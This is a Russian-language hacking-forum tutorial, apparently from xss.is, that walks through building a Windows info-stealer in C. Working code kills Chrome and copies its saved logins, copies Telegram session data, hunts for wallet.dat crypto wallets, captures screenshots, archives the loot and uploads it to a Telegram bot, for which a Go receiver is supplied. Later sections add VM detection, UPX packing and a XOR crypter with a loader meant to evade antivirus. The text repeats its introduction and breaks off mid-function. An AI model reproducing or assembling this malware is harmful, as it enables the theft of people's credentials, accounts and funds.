D2
Администратор
- Регистрация
- 19 Фев 2025
- Сообщения
- 4,380
- Реакции
- 0
Автор: miserylord
Эксклюзивно для форума: xss.is
Улыбнись этому миру, miserylord на связи!
В этой статье мы разберем процесс написания простого инфо-стилера на языке C. Переходим к практике!
Итак, инфо-стилер — это вид малвари, который, как следует из названия, предназначен для сбора информации с зараженных целей. Писать код я буду под операционную систему Windows. Сам процесс будет построен от написания небольшой программы, буквально концепта, до чего-то более сложного и глобального.
Начнем со сбора информации о системе. Задача заключается в том, чтобы собрать информацию об устройстве, на котором был запущен код, и сохранить результат в файл info.txt.
Для работы с Windows мы будем использовать программный интерфейс (API), который в Windows называется Win32, а его методы описаны в документации на сайте Microsoft.
C: Скопировать в буфер обмена
Для сборки используем компилятор mingw32-gcc. Проверяем код и убеждаемся, что он успешно работает.
Перейдем к браузерам. Самым популярным браузером является Google Chrome. Файлы располагаются в директории C:\Users\User\AppData\Local\Google\Chrome\User Data. Можно было бы скопировать всю директорию целиком, но она занимает несколько гигабайт данных, поэтому придется подходить более избирательно. Сконцентрируем внимание на файле Login Data. Этот файл хранит информацию о сохранённых пользователем данных для входа на веб-сайты в браузере. Для корректного копирования файлов необходимо хорошо разобраться, за что отвечает каждый файл программы, и понять, как с ним работать. В целом, если мы перенесём всю папку с одного устройства на другое, и версии программы и операционной системы будут идентичными, то проблем с использованием этих данных возникнуть не должно. (Говоря о файле Login Data, стоит отметить, что он зашифрован. Для его расшифровки необходимо использовать API Windows DPAPI. Файл представляет собой базу данных SQLite.)
Код будет выглядеть следующим образом:
C: Скопировать в буфер обмена
Проверяем код и видим, что всё работает успешно!
Вообще, папка AppData — это скрытая системная директория Windows, предназначенная для хранения конфигурационных файлов, кэшированных данных, журналов, сессий и других файлов, которые могут изменяться во время работы приложений. Например, расширения, среди которых будут присутствовать криптокошельки, будут находиться по адресу: AppData\Local\Google\Chrome\User Data\Default\Extension.
В папке Roaming (в директории AppData) приложения сохраняют настройки и данные, которые должны оставаться постоянными для конкретного пользователя, даже если он войдёт в систему с другого компьютера.
Давайте добавим функционал для копирования файлов t_data, отвечающих за сессии Telegram
C: Скопировать в буфер обмена
Добавим ещё несколько функций:
Функция рекурсивного поиска файлов wallet.dat в системе:
C: Скопировать в буфер обмена
Функция ищет все файлы и папки в заданной директории. Для папок выполняется рекурсивный поиск с углублением в их содержимое. Если в имени файла содержится строка wallet.dat, файл копируется в указанную целевую папку.
Функция для создания скриншота и сохранения его в формате BMP:
C: Скопировать в буфер обмена
Функция работает следующим образом: Получает размеры рабочего стола. Создаёт растровое изображение, совместимое с экраном. Копирует содержимое экрана в растровое изображение. Извлекает пиксельные данные и записывает их в файл BMP. Освобождает используемые ресурсы.
После сбора всей информации её необходимо отправить. Однако перед этим нужно уменьшить объём данных, поместив их в архив. Для этого я буду использовать утилиту WinRAR (с помощью системной команды), которая установлена на многих компьютерах. Это будет выполнено в следующей функции.
C: Скопировать в буфер обмена
Предполагается, что переменная PATH содержит путь к WinRAR. Также можно использовать строку с полным путём, например: snprintf(command, MAX_PATH, "\"C:\\Program Files\\WinRAR\\rar.exe\" a -r %s %s\\*", rarFilePath, folderPath);
Следующим шагом будет отправка полученной информации. В качестве приёмника/передатчика информации могут выступать различные серверы, включая серверы Telegram-бота.
Сам Telegram-бот будет реализован на языке Golang. В первую очередь необходимо создать Telegram-бота, получить и сохранить токен, затем написать ему команду /start и обратиться к эндпоинту https://api.telegram.org/bot{our_bot_token}/getUpdates, чтобы узнать chat ID. Это позволит боту отправлять полученные данные только в нужный чат.
Мы воспользуемся библиотекой github.com/go-telegram-bot-api/telegram-bot-api. Код будет выглядеть следующим образом. После запуска кода мы вернёмся к проекту на языке C.
C-подобный: Скопировать в буфер обмена
Реализация функции sendFileToTelegram.
C: Скопировать в буфер обмена
Функция будет использовать библиотеку Windows Internet (WinINet), которая предоставляет API для взаимодействия с интернет-протоколами. Разберём её подробнее:
В качестве альтернативы использованию Telegram может выступать другой сервер, то есть самостоятельно разработанный сервер на каком-либо языке программирования. Можно использовать как HTTP-протокол, так и WebSocket. По сути, сервер будет выступать архитектурным решением типа C2: он сможет собирать данные, выводить их в удобном виде, собирать статистику и выполнять любые функции, которые мы захотим добавить к коду программы.
Мы также можем использовать различные альтернативные протоколы, например, протоколы почтовых серверов.
Реализуем код, который будет проверять, не запущена ли программа в виртуальном окружении. Код будет анализировать сразу несколько возможных паттернов.
C: Скопировать в буфер обмена
Для уменьшения размера исполняемого файла, затруднения статического анализа и обхода сигнатурного анализа воспользуемся упаковщиком UPX (Ultimate Packer for eXecutables). Принцип работы следующий: исходный файл → UPX сжимает и добавляет декомпрессор → создаётся новый исполняемый файл. При запуске: декомпрессор загружает сжатый код → распаковывает его в оперативную память → выполняет оригинальный код.
Команда для работы: upx --best -o main_packed.exe main.exe. Флаг --best указывает UPX использовать максимальный уровень сжатия, флаг -o означает output (выходной файл).
Далее попробуем реализовать простой криптор файла. Криптор служит для схожих задач с упаковщиком, за исключением того, что криптор заточен на обход антивирусных систем, тогда как упаковщик предназначен для сжатия исполняемого файла.
В его алгоритме используется XOR-операция с заданным ключом. XOR (исключающее ИЛИ) — это логическая операция, которая работает с двумя битами. Она сравнивает два бита и возвращает 1, если эти биты разные, и 0, если они одинаковые. Каждый байт из исходного файла будет подвергаться операции XOR с определённым значением ключа.
Предположим, у нас есть символ (байт) с ASCII значением 65 (это символ "A"). И наш ключ — 123 (в десятичной системе):
Теперь применяем XOR: 01000001 (65) XOR 01111011 (123) = 00111010 (58).
Результат: 58 (в десятичной системе), что соответствует символу ":". Таким образом, символ "A" с помощью XOR-операции и ключа 123 превращается в символ ":".
Процесс дешифровки работает так же, потому что XOR имеет свойство, при котором дважды применённая операция XOR с одним и тем же ключом возвращает исходное значение. То есть, если мы зашифровали файл с помощью XOR, мы можем снова применить XOR с тем же ключом, чтобы восстановить исходные данные.
Перей
C: Скопировать в буфер обмена
Читаем каждый байт исходного файла, реализуем операцию XOR с ключом и записываем результат в выходной файл.
Напишем также условный лоудер простейшей формы. Его задача — восстанавливать файл, запускать его и удалять, тем самым временно расшифровывая код только в памяти.
C: Скопировать в буфер обмена
Код расшифровывает зашифрованный файл с использованием того же ключа и вызывает функцию CreateProcess для запуска расшифрованного файла (temp_main.exe). Затем программа ждёт завершения выполнения и после этого удаляет временный файл.
Поскольку у программы нет цели оставаться в системе больше чем на один запуск, никаких шагов по обеспечению постоянства, таких как DLL-инъекции, предпринимать не будет.
Трям! Пока!
Эксклюзивно для форума: xss.is
Улыбнись этому миру, miserylord на связи!
В этой статье мы разберем процесс написания простого инфо-стилера на языке C. Переходим к практике!
Собираем информацию
Итак, инфо-стилер — это вид малвари, который, как следует из названия, предназначен для сбора информации с зараженных целей. Писать код я буду под операционную систему Windows. Сам процесс будет построен от написания небольшой программы, буквально концепта, до чего-то более сложного и глобального.
Начнем со сбора информации о системе. Задача заключается в том, чтобы собрать информацию об устройстве, на котором был запущен код, и сохранить результат в файл info.txt.
Для работы с Windows мы будем использовать программный интерфейс (API), который в Windows называется Win32, а его методы описаны в документации на сайте Microsoft.
C: Скопировать в буфер обмена
Код:
// 1
#include <stdio.h>
#include <windows.h>
#include <tchar.h>
void collectSystemInfo() {
// 2
FILE *file = fopen("info.txt", "w");
if (file == NULL) {
printf("Ошибка открытия файла для записи.\n");
return;
}
// 3
OSVERSIONINFO osvi;
osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
if (GetVersionEx(&osvi)) {
fprintf(file, "Система: Windows\n");
fprintf(file, "Версия ОС: %lu.%lu (Build %lu)\n",
osvi.dwMajorVersion,
osvi.dwMinorVersion,
osvi.dwBuildNumber);
} else {
fprintf(file, "Не удалось получить информацию о версии ОС.\n\n");
}
// 4
SYSTEM_INFO si;
GetSystemInfo(&si);
fprintf(file, "Архитектура процессора: ");
switch (si.wProcessorArchitecture) {
case PROCESSOR_ARCHITECTURE_AMD64:
fprintf(file, "x64 (AMD or Intel)\n");
break;
case PROCESSOR_ARCHITECTURE_INTEL:
fprintf(file, "x86\n");
break;
case PROCESSOR_ARCHITECTURE_ARM:
fprintf(file, "ARM\n");
break;
default:
fprintf(file, "Unknown architecture\n");
break;
}
fprintf(file, "Количество процессоров: %lu\n", si.dwNumberOfProcessors);
// 5
MEMORYSTATUSEX statex;
statex.dwLength = sizeof(statex);
if (GlobalMemoryStatusEx(&statex)) {
fprintf(file, "\nФизическая память (всего): %llu MB\n",
statex.ullTotalPhys / (1024 * 1024));
fprintf(file, "Физическая память (свободно): %llu MB\n",
statex.ullAvailPhys / (1024 * 1024));
fprintf(file, "Виртуальная память (всего): %llu MB\n",
statex.ullTotalPageFile / (1024 * 1024));
fprintf(file, "Виртуальная память (свободно): %llu MB\n",
statex.ullAvailPageFile / (1024 * 1024));
} else {
fprintf(file, "Не удалось получить информацию о памяти.\n");
}
// 6
TCHAR computerName[256];
DWORD size = sizeof(computerName) / sizeof(computerName[0]);
if (GetComputerName(computerName, &size)) {
fprintf(file, "\nИмя компьютера: %s\n", computerName);
} else {
fprintf(file, "\nНе удалось получить имя компьютера.\n");
}
// 7
fclose(file);
printf("Информация успешно сохранена в файл info.txt.\n");
}
// 8
int main() {
collectSystemInfo();
return 0;
}
- Подключаем библиотеку windows.h, которая предоставляет доступ к функциям операционной системы Windows.
- Открываем файл info.txt для записи. Если файл не удается открыть, выводим ошибку.
- Получаем информацию о версии операционной системы. Описание метода — [OSVERSIONINFOA (winnt.h) - Win32 apps | Microsoft Learn](https://learn.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-osversioninfoa). Создаем структуру и задаем размер в соответствии с документацией.
- Получаем информацию о процессоре и количестве процессоров. Получаем информацию о системе, проверяем архитектуру процессора и записываем количество процессоров.
- Получаем информацию о памяти (физической и виртуальной). Переводим значения из байт в мегабайты.
- Получаем имя компьютера. Тип TCHAR — это тип, который может быть как char, так и wchar_t, в зависимости от того, используется ли кодировка ANSI или Unicode. Вычисляем размер буфера, который будет передан в функцию GetComputerName.
- Закрываем файл и выводим сообщение о успешном завершении.
- Вызываем функцию для сбора информации в main функции.
Для сборки используем компилятор mingw32-gcc. Проверяем код и убеждаемся, что он успешно работает.
Перейдем к браузерам. Самым популярным браузером является Google Chrome. Файлы располагаются в директории C:\Users\User\AppData\Local\Google\Chrome\User Data. Можно было бы скопировать всю директорию целиком, но она занимает несколько гигабайт данных, поэтому придется подходить более избирательно. Сконцентрируем внимание на файле Login Data. Этот файл хранит информацию о сохранённых пользователем данных для входа на веб-сайты в браузере. Для корректного копирования файлов необходимо хорошо разобраться, за что отвечает каждый файл программы, и понять, как с ним работать. В целом, если мы перенесём всю папку с одного устройства на другое, и версии программы и операционной системы будут идентичными, то проблем с использованием этих данных возникнуть не должно. (Говоря о файле Login Data, стоит отметить, что он зашифрован. Для его расшифровки необходимо использовать API Windows DPAPI. Файл представляет собой базу данных SQLite.)
Код будет выглядеть следующим образом:
C: Скопировать в буфер обмена
Код:
// 1
void killProcessByName(const TCHAR *processName) {
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapshot == INVALID_HANDLE_VALUE) {
_tprintf(_T("Не удалось создать снимок процессов.\n"));
return;
}
PROCESSENTRY32 pe32;
pe32.dwSize = sizeof(PROCESSENTRY32);
if (Process32First(hSnapshot, &pe32)) {
do {
if (_tcsicmp(pe32.szExeFile, processName) == 0) {
HANDLE hProcess = OpenProcess(PROCESS_TERMINATE, FALSE, pe32.th32ProcessID);
if (hProcess) {
_tprintf(_T("Завершаем процесс: %s (PID: %u)\n"), processName, pe32.th32ProcessID);
TerminateProcess(hProcess, 0);
CloseHandle(hProcess);
} else {
_tprintf(_T("Не удалось открыть процесс %s для завершения.\n"), processName);
}
}
} while (Process32Next(hSnapshot, &pe32));
} else {
_tprintf(_T("Не удалось получить список процессов.\n"));
}
CloseHandle(hSnapshot);
}
// 2
void copyChromeProfiles() {
TCHAR chromePath[MAX_PATH], loginDataPath[MAX_PATH], destPath[MAX_PATH];
if (SUCCEEDED(SHGetFolderPath(NULL, CSIDL_LOCAL_APPDATA, NULL, 0, chromePath))) {
_tcscat(chromePath, _T("\\Google\\Chrome\\User Data\\Default"));
_tcscat(chromePath, _T("\\Login Data"));
GetCurrentDirectory(MAX_PATH, destPath);
_tcscat(destPath, _T("\\ChromeLoginData"));
_tprintf(_T("Копирование файла Login Data Chrome...\n"));
CopyFile(chromePath, destPath, FALSE);
_tprintf(_T("Копирование файла Login Data завершено.\n"));
} else {
_tprintf(_T("Не удалось найти путь профилей Chrome.\n"));
}
}
// 3
int main() {
collectSystemInfo();
killProcessByName(_T("chrome.exe"));
copyChromeProfiles();
return 0;
}
- Завершение процесса Chrome перед копированием файла Login Data является необходимой мерой для обеспечения корректного, безопасного и полного копирования данных, а также для предотвращения ошибок доступа, которые могут возникнуть при попытке скопировать файл, к которому существует активный доступ со стороны программы. Функция создаёт снимок всех процессов в системе с помощью CreateToolhelp32Snapshot. Затем она перебирает все процессы, используя Process32First и Process32Next. Если имя текущего процесса совпадает с заданным, открывается этот процесс для завершения через OpenProcess. После этого процесс завершает свою работу через TerminateProcess. В конце закрывается хэндл снимка с помощью CloseHandle.
- Функция находит файл Login Data для Google Chrome. Путь к этому файлу формируется с использованием SHGetFolderPath для получения пути к каталогу приложения Chrome. Файл Login Data копируется в текущую рабочую директорию с помощью функции CopyFile.
- Вызываем новые функции в основной функции.
Проверяем код и видим, что всё работает успешно!
Вообще, папка AppData — это скрытая системная директория Windows, предназначенная для хранения конфигурационных файлов, кэшированных данных, журналов, сессий и других файлов, которые могут изменяться во время работы приложений. Например, расширения, среди которых будут присутствовать криптокошельки, будут находиться по адресу: AppData\Local\Google\Chrome\User Data\Default\Extension.
В папке Roaming (в директории AppData) приложения сохраняют настройки и данные, которые должны оставаться постоянными для конкретного пользователя, даже если он войдёт в систему с другого компьютера.
Давайте добавим функционал для копирования файлов t_data, отвечающих за сессии Telegram
C: Скопировать в буфер обмена
Код:
// 1
void copyDirectory(const TCHAR *source, const TCHAR *destination) {
WIN32_FIND_DATA findFileData;
HANDLE hFind = INVALID_HANDLE_VALUE;
TCHAR sourcePath[MAX_PATH];
_stprintf_s(sourcePath, MAX_PATH, _T("%s\\*"), source);
hFind = FindFirstFile(sourcePath, &findFileData);
if (hFind == INVALID_HANDLE_VALUE) {
_tprintf(_T("Не удалось найти файлы в директории %s\n"), source);
return;
}
do {
if (_tcscmp(findFileData.cFileName, _T(".")) == 0 || _tcscmp(findFileData.cFileName, _T("..")) == 0) {
continue;
}
TCHAR sourceFile[MAX_PATH], destFile[MAX_PATH];
_stprintf_s(sourceFile, MAX_PATH, _T("%s\\%s"), source, findFileData.cFileName);
_stprintf_s(destFile, MAX_PATH, _T("%s\\%s"), destination, findFileData.cFileName);
if (findFileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) {
CreateDirectory(destFile, NULL);
copyDirectory(sourceFile, destFile);
} else {
if (!CopyFile(sourceFile, destFile, FALSE)) {
_tprintf(_T("Не удалось скопировать файл %s\n"), sourceFile);
}
}
} while (FindNextFile(hFind, &findFileData) != 0);
FindClose(hFind);
}
// 2
void copyTelegramData() {
TCHAR appDataPath[MAX_PATH], telegramPath[MAX_PATH], destPath[MAX_PATH];
if (SUCCEEDED(SHGetFolderPath(NULL, CSIDL_APPDATA, NULL, 0, appDataPath))) {
_stprintf_s(telegramPath, MAX_PATH, _T("%s\\Telegram Desktop\\tdata"), appDataPath);
GetCurrentDirectory(MAX_PATH, destPath);
_tcscat_s(destPath, MAX_PATH, _T("\\TelegramDesktop"));
if (CreateDirectory(destPath, NULL) || GetLastError() == ERROR_ALREADY_EXISTS) {
_tprintf(_T("Копирование данных из папки Telegram Desktop...\n"));
copyDirectory(telegramPath, destPath);
_tprintf(_T("Копирование папки Telegram Desktop завершено.\n"));
} else {
_tprintf(_T("Не удалось создать папку для копирования.\n"));
}
} else {
_tprintf(_T("Не удалось получить путь к папке AppData.\n"));
}
}
- Рекурсивная функция копирования: Она копирует содержимое одной директории в другую, включая файлы и подпапки. В функцию передаются параметры пути к исходной директории и к целевой директории. Используется структура WIN32_FIND_DATA для получения информации о файлах и папках. Вызов FindFirstFile ищет первый файл или папку в директории. Затем происходит последовательный перебор всех файлов и папок в директории. Проверяются имена элементов на равенство . и .. (служебные папки, обозначающие текущую и родительскую директории). Формируются полные пути для текущего файла или папки в sourceFile и destFile. Если текущий элемент — папка, создаётся соответствующая папка в целевой директории с помощью CreateDirectory, и функция вызывается рекурсивно для этой папки. Если текущий элемент — файл, используется функция CopyFile для копирования из sourceFile в destFile. После завершения цикла поиска вызывается FindClose для освобождения ресурсов.
- Функция подготовки путей и вызова copyDirectory: Она подготавливает пути для копирования данных Telegram и вызывает copyDirectory. Сперва возвращается путь к папке AppData для текущего пользователя (CSIDL_APPDATA). Этот путь сохраняется в appDataPath. К пути AppData добавляется поддиректория Telegram Desktop\tdata для доступа к данным Telegram. Получается текущая рабочая директория. К пути добавляется \TelegramDesktop для хранения данных Telegram. Если папка успешно создана (или уже существует), вызывается copyDirectory для копирования данных из исходной директории telegramPath в destPath. Если не удалось создать папку или получить путь к AppData, выводятся сообщения об ошибке.
Добавим ещё несколько функций:
Функция рекурсивного поиска файлов wallet.dat в системе:
C: Скопировать в буфер обмена
Код:
void findAndCopyDatFiles(const TCHAR *directory, const TCHAR *destination) {
WIN32_FIND_DATA findFileData;
HANDLE hFind = INVALID_HANDLE_VALUE;
TCHAR searchPath[MAX_PATH];
_stprintf_s(searchPath, MAX_PATH, _T("%s\\*"), directory);
hFind = FindFirstFile(searchPath, &findFileData);
if (hFind == INVALID_HANDLE_VALUE) {
return;
}
do {
if (_tcscmp(findFileData.cFileName, _T(".")) == 0 || _tcscmp(findFileData.cFileName, _T("..")) == 0) {
continue;
}
TCHAR sourcePath[MAX_PATH], destPath[MAX_PATH];
_stprintf_s(sourcePath, MAX_PATH, _T("%s\\%s"), directory, findFileData.cFileName);
_stprintf_s(destPath, MAX_PATH, _T("%s\\%s"), destination, findFileData.cFileName);
if (findFileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) {
findAndCopyDatFiles(sourcePath, destination);
} else {
if (_tcsstr(findFileData.cFileName, _T("wallet.dat")) != NULL) {
CopyFile(sourcePath, destPath, FALSE);
}
}
} while (FindNextFile(hFind, &findFileData) != 0);
FindClose(hFind);
}
Функция ищет все файлы и папки в заданной директории. Для папок выполняется рекурсивный поиск с углублением в их содержимое. Если в имени файла содержится строка wallet.dat, файл копируется в указанную целевую папку.
Функция для создания скриншота и сохранения его в формате BMP:
C: Скопировать в буфер обмена
Код:
void takeScreenshot(const TCHAR *filePath) {
HWND hwndDesktop = GetDesktopWindow();
HDC hdcScreen = GetDC(hwndDesktop);
HDC hdcMemory = CreateCompatibleDC(hdcScreen);
RECT desktopRect;
GetClientRect(hwndDesktop, &desktopRect);
int width = desktopRect.right;
int height = desktopRect.bottom;
HBITMAP hBitmap = CreateCompatibleBitmap(hdcScreen, width, height);
SelectObject(hdcMemory, hBitmap);
BitBlt(hdcMemory, 0, 0, width, height, hdcScreen, 0, 0, SRCCOPY);
BITMAPFILEHEADER bfh;
BITMAPINFOHEADER bih;
bih.biSize = sizeof(BITMAPINFOHEADER);
bih.biWidth = width;
bih.biHeight = -height;
bih.biPlanes = 1;
bih.biBitCount = 32;
bih.biCompression = BI_RGB;
bih.biSizeImage = 0;
bih.biXPelsPerMeter = 0;
bih.biYPelsPerMeter = 0;
bih.biClrUsed = 0;
bih.biClrImportant = 0;
DWORD bitmapSize = ((width * bih.biBitCount + 31) / 32) * 4 * height;
char *bitmapData = (char *)malloc(bitmapSize);
if (!bitmapData) {
printf("Ошибка: недостаточно памяти для создания скриншота.\n");
DeleteObject(hBitmap);
DeleteDC(hdcMemory);
ReleaseDC(hwndDesktop, hdcScreen);
return;
}
GetDIBits(hdcMemory, hBitmap, 0, height, bitmapData, (BITMAPINFO *)&bih, DIB_RGB_COLORS);
FILE *file = _tfopen(filePath, _T("wb"));
if (file) {
bfh.bfType = 0x4D42;
bfh.bfSize = sizeof(BITMAPFILEHEADER) + sizeof(BITMAPINFOHEADER) + bitmapSize;
bfh.bfReserved1 = 0;
bfh.bfReserved2 = 0;
bfh.bfOffBits = sizeof(BITMAPFILEHEADER) + sizeof(BITMAPINFOHEADER);
fwrite(&bfh, sizeof(BITMAPFILEHEADER), 1, file);
fwrite(&bih, sizeof(BITMAPINFOHEADER), 1, file);
fwrite(bitmapData, bitmapSize, 1, file);
fclose(file);
} else {
printf("Ошибка: не удалось открыть файл для записи.\n");
}
free(bitmapData);
DeleteObject(hBitmap);
DeleteDC(hdcMemory);
ReleaseDC(hwndDesktop, hdcScreen);
}
Функция работает следующим образом: Получает размеры рабочего стола. Создаёт растровое изображение, совместимое с экраном. Копирует содержимое экрана в растровое изображение. Извлекает пиксельные данные и записывает их в файл BMP. Освобождает используемые ресурсы.
После сбора всей информации её необходимо отправить. Однако перед этим нужно уменьшить объём данных, поместив их в архив. Для этого я буду использовать утилиту WinRAR (с помощью системной команды), которая установлена на многих компьютерах. Это будет выполнено в следующей функции.
C: Скопировать в буфер обмена
Код:
void createRarFromFolder(const char *folderPath, const char *rarFilePath) {
char command[MAX_PATH];
snprintf(command, MAX_PATH, "rar a -r \"%s\" \"%s\\*\"", rarFilePath, folderPath);
printf("Создание RAR архива командой: %s\n", command);
int result = system(command);
if (result == 0) {
printf("RAR архив успешно создан: %s\n", rarFilePath);
} else {
printf("Ошибка при создании RAR архива.\n");
}
}
Предполагается, что переменная PATH содержит путь к WinRAR. Также можно использовать строку с полным путём, например: snprintf(command, MAX_PATH, "\"C:\\Program Files\\WinRAR\\rar.exe\" a -r %s %s\\*", rarFilePath, folderPath);
Отправка информации
Следующим шагом будет отправка полученной информации. В качестве приёмника/передатчика информации могут выступать различные серверы, включая серверы Telegram-бота.
Сам Telegram-бот будет реализован на языке Golang. В первую очередь необходимо создать Telegram-бота, получить и сохранить токен, затем написать ему команду /start и обратиться к эндпоинту https://api.telegram.org/bot{our_bot_token}/getUpdates, чтобы узнать chat ID. Это позволит боту отправлять полученные данные только в нужный чат.
Мы воспользуемся библиотекой github.com/go-telegram-bot-api/telegram-bot-api. Код будет выглядеть следующим образом. После запуска кода мы вернёмся к проекту на языке C.
C-подобный: Скопировать в буфер обмена
Код:
package main
import (
"fmt"
"io"
"log"
"net/http"
"os"
tgbotapi "github.com/go-telegram-bot-api/telegram-bot-api/v5"
)
func downloadFile(bot *tgbotapi.BotAPI, fileID, savePath string) error {
file, err := bot.GetFile(tgbotapi.FileConfig{FileID: fileID})
if err != nil {
return fmt.Errorf("не удалось получить информацию о файле: %v", err)
}
fileURL := file.Link(bot.Token)
resp, err := http.Get(fileURL)
if err != nil {
return fmt.Errorf("ошибка при загрузке файла: %v", err)
}
defer resp.Body.Close()
out, err := os.Create(savePath)
if err != nil {
return fmt.Errorf("не удалось создать файл %s: %v", savePath, err)
}
defer out.Close()
_, err = io.Copy(out, resp.Body)
if err != nil {
return fmt.Errorf("ошибка при сохранении файла: %v", err)
}
return nil
}
func main() {
botToken := ""
adminChatID := int64()
bot, err := tgbotapi.NewBotAPI(botToken)
if err != nil {
log.Fatalf("Ошибка создания бота: %v", err)
}
u := tgbotapi.NewUpdate(0)
u.Timeout = 60
updates := bot.GetUpdatesChan(u)
for update := range updates {
if update.Message != nil {
if update.Message.Document != nil {
fileID := update.Message.Document.FileID
savePath := "received_file.rar"
err := downloadFile(bot, fileID, savePath)
if err != nil {
log.Printf("Ошибка загрузки файла: %v\n", err)
continue
}
msg := tgbotapi.NewMessage(adminChatID, "Файл успешно загружен и сохранен как received_file.rar")
_, err = bot.Send(msg)
if err != nil {
log.Printf("Ошибка отправки уведомления администратору: %v\n", err)
}
fmt.Printf("Файл получен и сохранен как %s\n", savePath)
}
}
}
}
Реализация функции sendFileToTelegram.
C: Скопировать в буфер обмена
Код:
BOOL sendFileToTelegram(const char *filePath, const char *botToken, const char *chatID) {
char url[512];
snprintf(url, sizeof(url), "/bot%s/sendDocument", botToken);
// 1
HINTERNET hInternet = InternetOpenA("TelegramUploader", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
if (!hInternet) {
printf("Ошибка: InternetOpenA\n");
return FALSE;
}
// 2
HINTERNET hSession = InternetConnectA(hInternet, "api.telegram.org", INTERNET_DEFAULT_HTTPS_PORT, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0);
if (!hSession) {
printf("Ошибка: InternetConnectA\n");
InternetCloseHandle(hInternet);
return FALSE;
}
// 3
HINTERNET hRequest = HttpOpenRequestA(hSession, "POST", url, NULL, NULL, NULL, INTERNET_FLAG_SECURE, 0);
if (!hRequest) {
printf("Ошибка: HttpOpenRequestA\n");
InternetCloseHandle(hSession);
InternetCloseHandle(hInternet);
return FALSE;
}
// 4
FILE *file = fopen(filePath, "rb");
if (!file) {
printf("Ошибка: Не удалось открыть файл %s\n", filePath);
InternetCloseHandle(hRequest);
InternetCloseHandle(hSession);
InternetCloseHandle(hInternet);
return FALSE;
}
// 5
fseek(file, 0, SEEK_END);
long fileSize = ftell(file);
rewind(file);
char *fileContent = (char *)malloc(fileSize);
if (!fileContent) {
printf("Ошибка: Недостаточно памяти для содержимого файла\n");
fclose(file);
InternetCloseHandle(hRequest);
InternetCloseHandle(hSession);
InternetCloseHandle(hInternet);
return FALSE;
}
fread(fileContent, 1, fileSize, file);
fclose(file);
// 6
char headers[] = "Content-Type: multipart/form-data; boundary=---Boundary";
char bodyStart[1024];
snprintf(bodyStart, sizeof(bodyStart),
"-----Boundary\r\n"
"Content-Disposition: form-data; name=\"chat_id\"\r\n\r\n%s\r\n"
"-----Boundary\r\n"
"Content-Disposition: form-data; name=\"document\"; filename=\"archive.rar\"\r\n"
"Content-Type: application/octet-stream\r\n\r\n",
chatID);
char bodyEnd[] = "\r\n-----Boundary--";
DWORD bodySize = strlen(bodyStart) + fileSize + strlen(bodyEnd);
char *body = (char *)malloc(bodySize);
memcpy(body, bodyStart, strlen(bodyStart));
memcpy(body + strlen(bodyStart), fileContent, fileSize);
memcpy(body + strlen(bodyStart) + fileSize, bodyEnd, strlen(bodyEnd));
// 7
BOOL sendResult = HttpSendRequestA(hRequest, headers, strlen(headers), body, bodySize);
if (!sendResult) {
printf("Ошибка: HttpSendRequestA\n");
} else {
printf("Файл успешно отправлен в Telegram\n");
}
free(fileContent);
free(body);
InternetCloseHandle(hRequest);
InternetCloseHandle(hSession);
InternetCloseHandle(hInternet);
return sendResult;
}
Функция будет использовать библиотеку Windows Internet (WinINet), которая предоставляет API для взаимодействия с интернет-протоколами. Разберём её подробнее:
- Инициализация доступа к Интернету. "TelegramUploader" — это имя приложения (отображается в User-Agent). Соединение осуществляется напрямую, без прокси. Функция возвращает хендл HINTERNET, который используется в дальнейших вызовах API.
- Открытие соединения с сервером. Соединение устанавливается с сервером Telegram API по адресу "api.telegram.org" на порту 443. Возвращается хендл, представляющий сессию. Если соединение установить не удалось, ресурсы, выделенные на предыдущем шаге, освобождаются с помощью InternetCloseHandle.
- Создание HTTP-запроса. На этом этапе формируется HTTP-запрос для взаимодействия с API.
- Открытие файла. Файл по указанному пути открывается в бинарном режиме (rb). Это означает, что файл читается как есть, без преобразований содержимого.
- Чтение содержимого файла. Сначала с помощью fseek и ftell определяется размер файла. Затем с помощью malloc выделяется память под содержимое файла, а функция fread загружает данные файла в буфер fileContent.
- Формирование тела запроса. В заголовках указывается тип содержимого multipart/form-data с границей ---Boundary. Формируется часть тела запроса bodyStart, которая содержит параметры chat_id и начало файла. В конце добавляется завершающая граница bodyEnd. Для объединения начала, содержимого файла и конца в единый буфер body используется функция memcpy.
- Отправка HTTP-запроса и освобождение ресурсов. Запрос отправляется с использованием подготовленного тела. После этого освобождаются все ресурсы, включая память, выделенную под буферы, и закрываются все хендлы.
В качестве альтернативы использованию Telegram может выступать другой сервер, то есть самостоятельно разработанный сервер на каком-либо языке программирования. Можно использовать как HTTP-протокол, так и WebSocket. По сути, сервер будет выступать архитектурным решением типа C2: он сможет собирать данные, выводить их в удобном виде, собирать статистику и выполнять любые функции, которые мы захотим добавить к коду программы.
Мы также можем использовать различные альтернативные протоколы, например, протоколы почтовых серверов.
Дальнейшие шаги
Реализуем код, который будет проверять, не запущена ли программа в виртуальном окружении. Код будет анализировать сразу несколько возможных паттернов.
C: Скопировать в буфер обмена
Код:
// 1
int isVirtualMachineByBios() {
char biosData[256] = {0};
HKEY hKey;
if (RegOpenKeyExA(HKEY_LOCAL_MACHINE, "HARDWARE\\DESCRIPTION\\System", 0, KEY_READ, &hKey) != ERROR_SUCCESS) {
return 0;
}
DWORD size = sizeof(biosData);
if (RegQueryValueExA(hKey, "SystemBiosVersion", NULL, NULL, (LPBYTE)biosData, &size) == ERROR_SUCCESS) {
if (strstr(biosData, "VMware") || strstr(biosData, "VirtualBox") ||
strstr(biosData, "VBOX") || strstr(biosData, "QEMU") || strstr(biosData, "Hyper-V")) {
RegCloseKey(hKey);
return 1;
}
}
RegCloseKey(hKey);
return 0;
}
// 2
int isVirtualMachineByProcess() {
const char *vmProcesses[] = {"vmtoolsd.exe", "VBoxService.exe", "VBoxTray.exe", "vmware.exe", "qemu-ga.exe"};
PROCESSENTRY32 entry;
entry.dwSize = sizeof(PROCESSENTRY32);
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (snapshot == INVALID_HANDLE_VALUE) return 0;
if (Process32First(snapshot, &entry)) {
do {
for (int i = 0; i < sizeof(vmProcesses) / sizeof(vmProcesses[0]); i++) {
if (_stricmp(entry.szExeFile, vmProcesses[i]) == 0) {
